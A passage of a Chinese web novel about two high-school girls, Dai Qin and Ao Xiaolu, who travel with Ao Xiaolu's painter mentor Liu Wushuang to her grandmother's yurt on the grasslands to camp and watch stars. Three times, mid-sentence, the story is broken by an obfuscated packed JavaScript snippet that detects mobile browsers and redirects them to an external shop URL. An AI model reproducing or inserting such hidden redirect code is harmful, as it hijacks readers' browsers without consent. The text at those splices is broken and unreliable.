敖小陆显然很开心,抬手摸着自己的头顶嘿嘿笑:“是高了那么一点,不过你这么一摸我身高又要缩水了。” 女人又在她脸上掐了一把,嗔笑道:“少贫。” 她笑着俯身,将怀里的敖小河放了下来,很温柔地摸了摸她的头:“小羊也长高了不少,更可爱了。” 比起自己的活泼的姐姐,敖小河的个性内敛,像极了自己木讷的父亲。她被夸得羞红了眼,一溜烟地从女人的身后跑过去,跑出了大门:“我去喊妈妈回来。” 和陈家人都打完招呼后,女人才抬眸看向戴琴,眼里噙着笑:“呦,这是哪来的俊俏小姑娘。你是小鹿的朋友吗?” 戴琴乖巧地点了点头:“嗯,姐姐好,我叫戴琴。” “啧啧,小嘴可真甜,名字也好听。”女人称赞了她两句,接着笑笑,开始介绍自己,“我姓柳,杨柳的柳,你喊我柳姐就行。” 一旁的敖小陆听到这里,完全没有师徒之情,直接呸了一句:“柳无双你真不要脸。”接着转过头看向戴琴,和她说道:“戴琴你别听她的,她比我们大了二十多岁,你喊她柳姨都绰绰有余。” 老底被揭,柳无双直接抬起手朝敖小陆打去:“就你多嘴!” 敖小陆闪身一躲,躲开了她的一击。柳无双手长脚长的,一把抓住她的衣领,将她拽了过来:“跑什么跑,给我搬东西去。” 柳无双的到来,给年少的戴琴带来了极大的冲击。她还是头一次见到这样的女性,张扬,热烈,充斥着一股野蛮的力量。尤其是跟随着她和敖小陆,走出门口,看到停在巷口前的那辆红吉普车,听说她是独自一人开车前来时,顿时肃然起敬。 在这个板车都很少见,大巴三天一辆的地方,一辆私人吉普车,可见其家境优渥。 她领着敖小陆和戴琴走到车旁,打开塞得满满当当的后车厢,就开始给敖小陆搬东西。大多都是一些画集,成套的文具等等……还有三套貂皮大衣,以及小说等等。 “小说是柳诗那丫头看完之后说要给你分享的,要我一定要带给你。衣服是我从香港给你妈和你们姐妹两带的。”说到这里,柳无双还有些懊恼,“你也不说自己认识了个好看姑娘,早知道我也给她买了。” 戴琴被她夸得很不好意思,只好站在一旁笑笑。 柳无双是个洒脱人,搬完东西之后冲敖小陆道:“行了,我着急和几个朋友碰头,明天再来接你去你姥姥家。”说完她还朝戴琴点了下头,“小姑娘也来啊,我给你和小鹿拍照。” 她打开车门坐上驾驶座就要走,敖小陆忙跟上去:“唉,师父,你不在我家吃个饭再走啊?” “下回吃,下回吃,我赶着饭局呢,明儿去你姥姥家我敞开吃啊!”她这人做事是真的风风火火的,边说边倒车,等阿尔丽从裁缝铺回来,柳无双早没影了。 阿尔丽看着敖小陆直叹气:“你咋不留你师父一下呢,至少吃个饭啊。” 敖小陆笑嘻嘻的:“留了,她说明天去姥姥家吃。” 柳无双来如风去如火的,弄得下午的复习计划全打乱了。敖小陆将自己新收的文具小说全都抱上来,戴琴就在旁帮她整理。一边整理一边问:“你和你师父是怎么认识的?” 然后敖小陆就叽里呱啦地讲了一个故事。 “大概是我六岁的时候吧,我还住在额么格家。她来这边拍星星,结果吧踩点的时候这个倒霉蛋掉河里去了,把设备摔坏,bb机也摔没了,就这么在草原迷了路。” “然后那天我刚好骑着家里的狗去放牧,就把她捡回家了。”敖小陆将颜料盒子都压好,转头看向戴琴,十分臭屁道,“哦,对了,我家的狗可大一只了,就像狮子一样,一见她就扑倒了,给她舔了满脸的口水,她俩还差点打了一架。” 戴琴顿时不知道说些啥,沉吟半晌才说了一句:“那你师父还挺能打的。” “嘿嘿,是吧,她力气很大的,比一般男人都大,我妈摔跤都摔不过她。” 戴琴皱起眉头:“婶子的力气有那么大吗?” “有的啊,我妈可厉害了,别看她胖乎乎的,年轻的时候摔跤,连我爸都摔不过她。” “咦……那是真的很厉害。所以你师父为了报恩,决心传授你美术吗?” “那倒不是。”敖小陆摇摇头。 戴琴继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240097|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“那她为什么成为你师父?” 提起这个敖小陆就来劲了:“这就说来话长了……” 戴琴也不惯着她,直接道:“那你长话短说。” 正准备表演一番的敖小陆,被打断之后有些不满:“唉……你这个人……”戴琴抬眸轻轻扫了她一眼,她立马换了副嘴脸,“长话短说就是她发现我有点画画的天赋,当时想带我回北京的家里好好培养,但是我父母拒绝了之后,她就反复叮嘱要让我自由地画画,并且资助我很多文具,画画需要的补习费用,就这样她成了我师父。” 戴琴听到“带我回北京”那五个字都惊呆了,要知道她父亲在家里,心心念念的就是家里的孩子能考上大学,留在北京工作,别像他一样,被父母藏起录取通知书失去了改变一生的机会。 戴琴的脑袋“嗡”地响了一下,好一会才开口:“这么好的机会,你爸妈为什么不答应?” 敖小陆想了想,不甚在意道:“可能是因为我师父一直没结婚,我爸妈怕她把我要过去当女儿吧。” 戴琴一时半会说不出话来。是敖小陆的父母迂腐矇昧吗?竟然因为这样的理由,让女儿失去了这么好的教育环境。还是说,这是所谓的命。 她有一些难尽的开口:“你……有时候会不会觉得后悔?” 敖小陆正打开颜料盘子,拿出画笔准备调试新颜料看看色泽如何,听到戴琴这么问,头也不回道:“后悔什么?” 只要她这时抬眸,就能看到戴琴端坐在她身旁,定定地看着她:“后悔没跟你师父去北京。” “不后悔啊。”敖小陆拿起画笔,沾了沾颜料落在调料盘子上,混在一起,“有什么好后悔的,无论是在北京,还是在红山,我一样能画画。” 这是很敖小陆的回答,可戴琴还是为她感到可惜:“不一样的。”她叹着气,有几分惋惜,“北京和红山,终究是不同的。” 她看过电视,看过报纸,她知道北京是什么样子。高楼大厦鳞次栉比,车道贯通南北东西,四通八达。那是中国的政治文化中心,是所有中国人都想去的地方。 敖小陆却不以为意:“我知道你想说什么,这点我师父也说过。说北京很好,吃得好,住得好,看重文化艺术,对我来说以后出名的机会更多。天底下,谁不想吃好穿好功成名就呢。” 说到这里,敖小陆转头看向戴琴:“可是功成名就之后呢?” 戴琴被她问得怔住了,蹙眉想了想:“更大的功成名就?” 敖小陆继续问道:“那更大的功成名就之后呢?” 这回戴琴被她问住了,蹙眉沉默着。敖小陆笑了起来:“回答不上来了吧,我师父那时候也回答不上来。” 她狡黠一笑,在调色盘上调出一抹很艳丽的橙黄色,落在自己的画板上:“但我额么格知道。” 戴琴很好奇:“你额么格说了什么?” “她说……”敖小陆拉长了声音,两手夹着画笔摇头晃脑道,“活着就好。” “人活着,吃饱饭,睡好觉,穿得暖这是第一幸福的事。第二幸福,就是有一件自己喜欢做的事。” “我妈妈喜欢做裁缝,很累,但有时候也会觉得快乐。我爸爸喜欢做木工,有时会腰酸背痛,但看着用心雕刻东西会很自豪。” 敖小陆转头看向戴琴,眼神平静又从容:“我喜欢画画,如果以后画画能让我挣钱我会非常骄傲。如果不能,以后我找个工作养活自己,一边养自己一边养我的爱好。” “我最感激的是我师父两点,一是在我很小的时候就发掘了能让我爱好一生的事,二是让我能继续我的爱好。其他的一切,就随缘好啦。” 戴琴凝望着敖小陆的眼睛,在她清澈透明的眼神里,看到了一团纯白的火焰。那或许是超然物外的智者灵魂,也有可能是单细胞生物在她体内寄生的纹路。在她还不来得及见证这团火焰的真相时,就已经被对方的绚烂所灼烧。 眨眼的刹那,眼前的一切都暗了下来,一阵天塌地陷的动荡过后,关于敖小陆的一切都变得模糊起来。她仿佛忘却了诸多前事,忘却了自己理想,信念,与将来,她忘却了所有,陷入了一场盲目的崇拜。 在这场崇拜里,敖小陆成为了新的路标。 20. 敖小陆的蒙古包 敖小陆是一个脱离了低级趣味的人,一个纯粹的人,一个高尚的人。 在这个汲汲营营的现实世界里,敖小陆这种单纯的理想主义者实在是太少见了。不过人们或许会被她的品质所折服,但在大多数情况下绝对不想成为她。 想要成为敖小陆那样的人,除了本身有坚实的物质基础作为支撑,还需要不为外物所动的信念,十年如一日地不顾他人的眼光去完成自己看重的事。 这两样都需要丰盛的爱。对于生长在贫瘠荒原里的戴琴来说,每一样都是不可完成的事。 因为不可完成,所以崇拜。 那天起,戴琴开始意识到,这个人只要一直画,一直画,不断地精进自己的画技,终有一天她一定会出名的。 第二天一大早,小陆的妈妈做了一桌丰盛的早饭。等柳无双开车来接我们的时候,小陆妈妈就把她拉进屋吃早饭。” 饭桌上热热闹闹的,大家都很高兴,在听柳师父说一些外面世界的见闻。只有敖爸爸在角落里缩成一团,撇着嘴,别别扭扭的…… 尽管陈父对柳无双的到来很不开心,但没有阻止她带走敖小陆和敖小河。 吃完早饭之后,柳无双带着三个小孩出了门。从九曲河市到松林山牧区,一共有一百三十公里,开车快一点,一个半小时也就到了。 长这么大,这还是戴琴第一次坐车出远门,内心十分稀奇。 她面上不显,人却和敖小河一样,各自占了后车厢左右靠窗的一头,稍稍探头看向窗外。柳无双见孩子们好奇,遂降下后座的车窗。 风从深邃的原野吹来,带着浓郁的青草香气,在阳光的熏陶下,浓烈无比。 她们乘坐着车子沿着公路一气驶出二十公里,丘陵荒漠地带远去,草色渐浓,大片大片的草原上,牛羊成群结队地在草坡上啃着草叶,低头之时,戴在它们脖子上的铜铃叮当作响。 很快,视野变得越发开阔。无边无际的草原朝四周蔓延开来,只剩下一条公路蜿蜒曲折地往前伸延。景色变得单调而重复,空气却异常的令人舒爽。 柳无双打开了车载录音机,按下播放键,一首很老很老的《昨日重现》徐徐播放。敖小陆一听这首歌,忙道:“这首歌我们英语老师放过唉。” 她开始跟着音乐节奏哼哼唧唧地唱,坐在她身旁的戴琴,听到她的歌声不着声色地用余光看了她一眼。她的歌声勾起了柳无双唱歌的欲望,柳无双握着方向盘开始打节奏,到高潮的时候,师徒二人记起了歌词:“every sha lalala every wo o wo o still shines……” 两人配合默契,车子一路飞跃过草原,留下满地的音符。就这么哼哼唧唧了一路,她们抵达了松林山牧场,从公路上拐下来,沿着一条砂石路歪七扭八地开了将近三十公里,总算开到了敖小陆的额么格家。 尘烟滚滚里,戴琴看到一座建在草坡下,河水畔的蒙古包。蒙古包外还用褐色的石头,建了一堵墙,在墙的左侧,还用木头围成栅栏,扯了一大张涤纶塑料布作为棚顶,搭成羊圈。 烈日当空,一个扎着双马尾麻花辫的小孩,正抱着条巨大的蒙古狗坐在门口,拿着手费力地给它梳毛发。听到车声传来,趴在小主人腿上的小狗,“咻”地一下站起来,将小主人挡在身后,警惕地看着车来的方向。 小孩子也跟着站起来了,一双黑白分明的大眼望着来人,微微蹙眉。 驾驶座上的柳无双按响了喇叭,扭头探出了车窗,对着小孩子大喊:“敖琦!”小孩子的眼睛一下就亮了起来,听到她声音的小狗“蹭”地一下窜出来,快如闪电般朝她们扑来。 柳无双将车子停在蒙古包外,敖小河推开门一下车,就被健壮的小狗扑了个满怀。敖小河这身板哪够它扑的啊,被它这么一撞,险些撞到了地上。还是敖小陆手快,一把将妹妹提溜起来,这才让她免于一难。 结果妹妹是救上了,她自己却被大狗盯上了。将近七十斤的大狗猛地朝她扑过来,又是扒拉又是嗅的,如果不是敖小陆推开它的大嘴,只怕要被它舌头舔个遍。 戴琴家虽然也养过狗,但那是很温顺的农家土狗,体型远没有蒙古狗庞大。她看到这大狗就发怵,于是默默地学着柳无双打开另一侧车门,从车上跳下来,躲在一旁。 幸好柳无双是个靠谱的大人,一下车就冲大狗拍拍手:“乌日乐,过来。” 听到她的呼唤,大狗“唰”地一下扭头冲向柳无双,非常热情地扒拉在她身上。她熟练地开始逗狗时,圆滚滚的敖琦气喘吁吁地朝她们跑了过来:“额格其……阿巴嘎额格琪……” 小姑娘边跑边喊,坨红的脸上出现大大的笑脸。靠近的时候,柳无双松开了大狗,一把将她捞起,高高地举起来。敖琦高兴地咯咯笑,被柳无双放下地的时候,她仰头看着对方一双眼弯成了月牙:“阿布去放羊啦,伊吉收种子去了,但额吉在家。” 敖琦只有五岁,一口汉话说得乱七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240098|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八糟的,戴琴听起来很费劲。但在座几人却觉得良好,尤其是柳无双,她俯身将敖琦一把捞起,将她抱入怀中,转头对敖小陆道:“后车厢里有我带给你额么格的礼物,你们先搬点进去。” 敖小陆苦哈哈地当了苦力,东西搬到一半,她的舅妈塔娜走了出来。看到她的第一眼,戴琴觉得很惊讶。不是因为她那姣好的白皙容貌,也不是因为她穿着浅灰色的围裙,手上,围裙上都是面粉,而是因为她那赤铜色的长卷发,以及那一双近乎妖异的绿色眼眸。 走在她身旁的敖小陆发现了她的失神,抱着一箱子东西凑到戴琴耳边说:“我舅妈有点俄罗斯血统,所以不怎么像本地人。” 戴琴顿时了然。 等走近的时候,她发现了更惊讶的事情。因为她看到柳无双把孩子放下之后,冲塔娜打起了手势。塔娜笑眯眯地,也利落地和她打起了手势。她们打招呼的时候,敖小陆正把东西放到院子里,转过头就看到塔娜看向了戴琴。 敖小陆和她打起了手语,一边打一边说:“她叫戴琴,和我一起念书的好朋友,我带她来看星星。” 塔娜笑了起来,冲戴琴打了几个手势。戴琴看不懂,诚惶诚恐地问好:“舅妈好。”敖小陆笑嘻嘻地,撞了撞她,说舅妈说你长得很好看,很喜欢你呢,欢迎你来家里做客。 尽管家里只有塔娜一个人,但她还是极尽所能地招待了她们。 午饭是香喷喷的炖羊肉,一层羊肉一层韭花一层薄盐,放进高压锅里用牛粪温火慢煮,熬的酥烂入味。韭菜花干配辣子和羊杂碎拌在一起香辣可口,配合着烙饼吃下去,再来一杯酥油茶,吃饱喝足,整个人都飘飘欲仙,都忘了来时的计划。 好在柳无双是清醒的,在蒙古包给自己猛灌两壶酥油茶后,扛起器材就准备去找适合的拍摄点。这一去就要好几天,塔娜有些不放心,冲她打手势,问她要不要等阿日斯兰回来再出发。 阿日斯兰就是塔娜的丈夫,敖小陆的舅舅。往常都是他带路,随着柳无双对周边的熟悉,就越发的不不要向导了。 “哪有那么矫情啊,阿日斯兰平常放牧那么累,还是让他有时间多陪陪你吧。”柳无双一边打手势,一边说道。 塔娜被她调戏得红了脸,低下头露出少女般娇羞的神态。 柳无双莞尔,看向敖小陆:“你是带你朋友在周边玩,还是跟我一起去蹲星星?” 敖小陆毫不犹豫地作答:“蹲星星。” “成,出发。” 21. 乌兰图雅 她们三人两匹马,带着两顶帐篷,还有塔娜早就准备好的干粮,趁着日头尚好,气势汹汹地杀向林区。原本敖小河也要去的,不过她年岁尚小,敖琦又吵着要和她玩,她只好气鼓鼓地留下来陪表妹玩。 送敖小陆走的时候,她还心不甘情不愿地嘟囔:“你就知道和戴琴姐姐玩。” 敖小陆全当没听见,骑着小马得儿得儿地跑了。 午后的太阳很猛烈,烧得人晕头转向的。她们在草原上走了许久,都还没走到林区。当夕阳高悬于西方的天空时,她们遇到了敖小陆的额么格。 这个名叫乌兰图雅的老人与寻常的蒙古族老人有些不太一样。她穿着一身灰蓝色的布衣,背着背篓骑在马上,脸上布满了沟沟壑壑,面容饱经沧桑,但她的腰杆却是笔挺的,带着一种天塌下来都能顶住的从容,目光坚定且清澈。 在她的脸上,戴琴似乎窥探到了一丝多年后敖小陆老去时的模样。 见到老人,柳无双和敖小陆都很开心。两人翻身下马,和她打了个招呼。 乌兰图雅笑眯眯的,问她们有没有在家里吃饱饭。两人应答了,她才将目光落在戴琴身上。戴琴立即唤了声姥姥好,介绍自己是敖小陆的同学。老人家眼里的笑意更盛了,眼尾的皱纹夹在一起,如同最漂亮的鱼尾绽放。 她将自己的背篓递给敖小陆,语气很温和:“我捡了一点蘑菇,你们带上吧。” “好的。” 敖小陆接过她的背篓,翻了翻能烤着吃的蘑菇,扒拉到自己的袋子里。忙活完之后,敖小陆抬头看向乌兰图雅:“额么格,你要不要和我们一起来?” 乌兰图雅笑笑,抬手落在敖小陆的发顶揉了揉:“我就不去了。秋天到了,花的种子也快落了,我先忙这个。等忙完了,再和你们一起玩。” “哦,好。” 敖小陆也不强求,接着乌兰图雅抬手往北方一指,说北方的星象很好,柳无双可以带她们到那里去。 简单地交谈了一会,乌兰图雅骑着马背着箩筐回家。戴琴扭头,看她头也不回地往前走,夕阳的光温暖的笼在她身上,如同佛像身上镀的金身。看着看着,戴琴的心中升起了一种很奇妙的感觉。 在戴琴的心里,老人家总是喜欢碎碎念,在村口说一些李家长张家短的,全是口舌是非。但乌兰图雅不一样,特别到戴琴找不到形容词。 难怪敖小陆总是左一个额么格,右一个额么格的。 戴琴收回视线,凑到敖小陆耳边轻声问:“你额么格忙什么啊?” 敖小陆骑着小马,哒哒哒地跟在柳无双身后:“收草籽啊。” 戴琴不解:“收草籽?” 还未等敖小陆作答,柳无双便道:“草原上有很多珍稀的花草,因为过度放牧导致还没生出草籽落地就被牛马羔羊吃掉了。为了保持生态平衡,这些年老人家一直在秋天的时候搜集一些珍稀花草的草籽,然后在春天的时候洒下,以便其再次生长。” 柳无双的语气懒洋洋的:“不过就算是这样,也还是有不少花草灭绝了。草原的荒漠化越来越严重,吹到北京的沙尘暴也越来越厉害,一到冬天天空都是阴霾暗沉灰扑扑的。” 说到这里,柳无双感慨了一句:“唉,还是以前好啊。以前牛羊没有大肆贩卖,只用来做粮食交易的时候,大家都很遵守自然法则,不会过度剥削草原,天空也是蓝色的……” 戴琴却有着不同的看法:“可是对于牧民来说,牛羊是她们唯一的经济来源。想要多挣点钱,所以多放牧也是无可厚非的。不然就只能一直贫穷了,不是吗?” 柳无双放慢了速度,与她们齐头并进。她点点头,应了一声“嗯”:“可是过度放牧的后果,就是草地一年比一年衰减,收成一年比一年差。” “地盘就那么个地盘,放羊就和种地一样,一亩地的产量是固定的。靠这种方式多挣钱,其实很难,还不如出去闯荡,从商来钱快。” 戴琴不再说话,她陷入了沉思。 倒是敖小陆插了一嘴:“可是人一辈子的吃穿用度,都是有限额的,挣那么多钱做什么呢?吃饱穿暖,再有点余裕支持自己的爱好,帮助需要的人就好啦。” “希冀财富增多,就会被渴望财富的贪欲折磨。到时候你辛辛苦苦挣来那么多钱,也是不开心的。人既然活着不开心,那还有什么意思?” “由此可见,财富并不是越多越好,而是你承担得住,让你足够开心就好。” 戴琴听完顿时无言,柳无双哈哈笑了起来:“你个小沙弥,还让你传起教来了。可以啊,说得头头是道。” 敖小陆“呸”了她一句:“我信腾格里,可不信佛陀的啊!” 她们师徒二人斗着嘴,夕阳落下时分都还没走到林区。为了安全着想,柳无双带着两个孩子在河水畔扎下营帐。戴琴是第一次露营,什么也不会,只好站在一旁,看她们安营扎寨,点燃牛粪升起篝火。忙得差不多的时候,夜幕低垂,萤火虫与星星一同飞了出来。 紫色的星云在天空中流转,点点白星如同河底的鹅卵石,风一吹云散开,每一颗都又大又亮。戴琴坐在草地上,望着天上的星河,听风声吹过旷野,仿佛回到了幼年时的家园,整颗心都宁静下来。 更不要说近处还有萤火虫飞舞了。 成群的萤火虫在河岸两侧的草丛里穿梭,一闪一闪亮晶晶的,很是动人。 唯一不好的地方就是蚊虫太多了,哪怕柳无双往篝火里丢了很多艾草,四周散发着浓浓的艾叶味道,也无法驱逐成群结队的蚊虫。在草地上坐着,三不五时就要拍拍手臂拍拍腿,将恼人的蚊虫打掉。幸好戴琴穿的是长袖长裤,不然就这么熬一夜,指不定得起一堆大包。 绕是如此,为了消解蚊虫叮咬的麻痒,晚饭过后柳无双和敖小陆跳进了河里,借助冰凉的河水镇压疼痛。戴琴算是发现了,敖小陆和她师父那是有其师必有其徒,趁着夜色无人,在河里闹腾得十分厉害,甚至开始打起水仗来。 戴琴坐在篝火旁,一边赶蚊子一边想,她们也不怕有蛇,闹腾成这样万一被蛇咬了怎么办? 但战火很快蔓延到她这里来。比起她老辣又健壮的师父,敖小陆显得有些弱鸡。眼见自己打不过柳无双,她挣扎着跑上岸,浑身湿漉漉地冲戴琴跑来:“戴琴……戴琴……帮帮忙啊戴琴……” 戴琴听到声音扭头朝她看去,看到敖小陆的刹那间,整张脸仿佛被身旁的火舌舔舐了一口,顿时烧了起来。 只见暧昧朦胧的篝火照映下,敖小陆的白色上衣湿漉漉的紧贴在她玲珑有致的身上。仅是一眼,就能看到她身躯全部的曲线。 戴琴猛地转头别开了眼,刚爬上岸的敖小陆又被柳无双拽了下去:“回来吧你!” 她俩又吵又闹的,戴琴背对着河水,伸手拿了根柳条,捅了捅面前的篝火,一双耳朵红得厉害。 过了好一阵,等她俩闹够了,敖小陆才爬上岸来。她和柳无双站在篝火旁一边脱衣服,一边放狠话:“你给我等着,等我再长大一点你就打不过我了。” 柳无双哼了一声,伸手戳向她额头:“再等一百年你也打不过师父我。” 戴琴背对着她们坐着,望着她们倒映篝火旁的身躯,闭上了眼睛。只是视觉封闭了,听觉却更敏锐了。没一会,她就听到两人细细索索穿衣服的声音。 戴琴的耳朵都红透了,直到后背被人捅了捅,她才睁开眼扭头朝身后看去。 是敖小陆,她换上了干净的衣服,笑吟吟地看着她:“你想玩水还是洗热水?” 白日的天气还是有点热,戴琴身上出了汗。她仰头看着敖小陆,晃神了好一会才答:“热水吧。” 说是洗热水,其实就是烧了点热水擦擦。敖小陆烧了半壶的热水,和河水混成一壶水,拎着水壶走到帐篷左边背对着篝火的地方,让戴琴擦拭身体。 出于人身安全的考虑,她背对着戴琴站着,替她望风。戴琴蹲在她身后,把水壶里的水倒出来打湿毛巾,拧干之后开始擦拭身体。一边擦,她的手就抖得厉害。 明明这里空旷得要命,她却觉得哪里都是敖小陆。 不知道为什么,她很怕敖小陆看过来,索性转过身面向敖小陆。她望着敖小陆站在星空下的高挑背影,开始没话找话:“你舅妈是天生就不会说话,还是后天这样的?” 敖小陆有问必答:“后天的。听说是五岁的时候高烧,家里人顾不上烧聋了,之后也不会说话了。” “哦……那她和你舅舅怎么认识的?相亲吗?” 敖小陆这个人有一个很显著的优点,那就是知无不言:“不是,他们很小的时候就认识了。” “那时候我额么格还在红山放牧,塔娜一家从很远的地方迁了过来,也在红山放牧。”许是戴琴的错觉,敖小陆讲述这段话的时候,语气异常的平和,温柔。 向来敏锐的艺术家似乎嗅到了她内心的惶恐,放缓了声音:“两家挨得很近,一来二去,孩子们也熟悉起来。” “塔娜是家里第二个孩子,又不是男孩,不受重视,所以生病了也没有理,最后成了哑巴。不过她长得很漂亮,干活又勤快,十六岁那年同村的一个青年要娶她,她父亲就五头羊的价格把她卖了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240099|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草丛里的青蛙叫啊叫,戴琴望着萦绕在敖小陆周围的萤火虫,只觉得她的背影单薄又孤独:“我舅舅比塔娜小六岁,塔娜结婚的时候,他才十岁。” “他很喜欢塔娜,长大之后还是很喜欢她。但是塔娜嫁人了,他没办法和塔娜在一起。” 戴琴觉得很不可思议:“那你姥姥和你妈都不催他结婚的吗?” 敖小陆却反问了一句:“为什么要催?他心里有塔娜却和别的女人在一起,岂不是既对不起自己也对不起别人吗?” “幸福是要和喜欢的人在一起的,如果不是和喜欢的人在一起,那宁可一辈子不结婚。” 听惯了“不孝有三,无后为大”这句话的戴琴,突然来了这么一句话,无异于当头棒喝,令人振聋发聩。 戴琴只觉得脑袋嗡嗡响了一阵,好一会才找到自己的声音:“那你舅舅最后是怎么和塔娜在一起的?” 敖小陆便道:“嗯……塔娜前头那个丈夫,爱喝酒,也爱打人。又一次喝酒喝多了,在家里打塔娜。刚好我舅舅路过,拦下了他。” “然后呢?” “村里是非多,我舅舅那时二十四岁,一些人嚼舌根传塔娜勾引小伙子。塔娜的丈夫更生气,对她打骂得更厉害了。” 敖小陆顿了顿,深吸一口气:“然后有一天,我舅舅带着塔娜跑了。” 戴琴倒吸了一口凉气,心想真不愧是你们家人啊。 敖小陆听到她的嘶声莞尔:“他们一跑,我姥姥和我妈就为难了。塔娜前头的男人来家里闹,让我姥姥还他老婆,被我妈打了出去。” “不过最后还是给了他十头羊才消停。为了避开非议,自此之后,我们家就从红山牧场迁到了松林山区。也把舅舅和塔娜找回来,让他们生活在一起。” 说到这里,敖小陆双手合十“啪”地一下,抬头看向天空:“事情就是这样了。”她微微侧身,想要扭头看戴琴,“话说你听了那么久,洗好了没有?” 戴琴脸上一红,伸手戳向她肩头,嗔道:“没好,转过身去!” 一行三人在草原上寻找了两天两夜,柳无双拍摄到了不少好风景。到了第三夜的夜晚,她们终于找到了那一棵状似神鹿的松树。 那棵树就生长在松林山的一个山坡上,主干弯曲如同鹿躯,树枝在左边的枝丫分叉,根根往上,如同神鹿的鹿角。星夜之下,从树底往下望去,一片无垠的旷野展现在自己眼前。 那天刚好是敖小陆的生日,恰逢狮子座流星雨,漫天的流星洒落,点燃了空旷的原野,绚丽可怕。 她和敖小陆站在树下,双手合十,闭上眼睛许愿。纵使她本人并不相信神佛,但在这一刻也许愿了一句“愿你我友谊天长地久”。 许完之后,她悄悄抬眸,睁开一只眼看向身旁的敖小陆。这个信了诸天神佛的人疯狂地搓着手手,一会龇牙咧嘴,一会表情严肃,不知道许了多少愿望。 先前还说什么贪心受折磨,看看这说的……也不怕自己愿望许那么多将来会受折磨。 这一夜注定是个难忘的夜晚,直到启程回家的路上,戴琴的心还在兴奋得砰砰跳。返程的路好走,不过一天就到乌兰图雅的蒙古包了。 这位热情好客的老人,早早就和塔娜做好了包子招待客人。 她们吃了个饱,结束之后,柳无双提议说唱歌。 敖小陆就抱出自己的阿不思,塔娜拍起了手鼓,和乌拉图雅欢快地唱了起来。 她们从祝酒歌,唱到了长调,甚至还有当下的音乐,大家都玩的很高兴。 期间戴琴喝了点马奶酒,感觉自己要醉了。 入夜的时候,她躺在敖小陆的腿上,望着帐篷外的萤火虫,觉得就这么过一辈子,好像也挺好的。 一旁的柳无双和乌拉图布时不时碰着酒杯,目光落在互相依偎着的少女身上,笑的意味深长。 又休息了一夜,第二天启程回市内。 分别的时候,乌兰图雅拉着戴琴的手,将她的手握在手里,轻轻拍了拍:“小鹿是属于山林的孩子,她不太懂人世间的规则,辛苦你和她做朋友了。” 一旁的敖小陆被她说得难为情:“额么格……” 戴琴也有些不好意思:“小鹿挺好的,我很乐意和她在一起做朋友。” 乌兰图雅深深地望着她,用那双粗糙有力宽厚手掌包裹着她言道:“腾格里在上,愿你少受苦难。” 她们依依惜别好一会,才启程返回市内。柳无双将孩子们放下之后,和敖小陆打了个招呼:“好好学习,等你高考完了,师父再来找你玩啊。” “好咧!” 22. 我的姐姐 不过暑假疯玩了一把,导致敖小陆一堆作业没写,她现在也没办法潇洒了,回到家之后在戴琴的监督下疯狂地赶作业。 没过多久,高二正式开学,新学期的生活也开始了。 比起去年的半生不熟,班上的学生关系更亲密了许多。这一年的秋日,也远比去年要过得绚烂。彼时中原大地正悄悄地兴起一场名为“素质教育”的变革,远在祖国大陆边疆的九曲河市受到影响,开展了一系列文娱活动。 秉承着文化传承的宗旨,学校在开学的第二个月,就在高二学生班级里举办了一次“捶丸比赛”。高二十二班有敖小陆坐镇,毫无悬念地拿到了第一。 接着就是高一的乒乓球比赛,以及冬季的校园那达慕大会,还有第一次举办的元旦晚会。就这么一学期下来,学生们都光顾着玩了,学习马马虎虎的,就这么稀里糊涂过了半年。 不过戴琴还是有在努力学习的,她不但自己学,还拉扯着敖小陆一起学。有她的鞭策,敖小陆的成绩也从吊车尾,稳步上升到中游水平。 “大学计划”有望实现,这让戴琴很高兴,她也多了一份希冀,希望敖小陆寒假也不要松懈。 和敖小陆分开的时候,戴琴拉着她千叮咛万嘱咐,放假不要光顾着玩,要好好背书。敖小陆一个劲地点头,说自己知道啦知道啦。 两人在校门口拉拉扯扯的,戴琴看着敖小陆这幅没心没肺的样子,又想起她平日背个英语课文都敷衍了事的模样,不由地气从中来。她抬起手指,狠狠地往敖小陆脑门上戳:“知道知道,我看你知道个傻狍子!” 敖小陆被她戳得嗷嗷直叫,连忙去抓她的手:“我是真的知道了。戴老师,戴大翻译,这次放假我回家一定好好背书,绝对不让你操心。” “哼!”戴琴这才放下手,站在她身前望着她,神色纠结,“寒假回来之后你就要去集训了,得联考之后才回来。文化课如果落下太多,是很难补回来的。” “你理科不好,我们就专攻文科。至少保证分数能够上你上美术学院。” 说到这里,戴琴顿了顿,目光幽幽地看着敖小陆:“你答应过我的,要一起去呼和浩特。如果你食言,我一辈子都不会信你说的话了。” “好好好……”敖小陆笑了起来,朝戴琴伸出了手,“我和你做约定,一定会考上美院的。到时候,你去师范大学,我们一个学英语,一个学美术,出来一起当老师……” 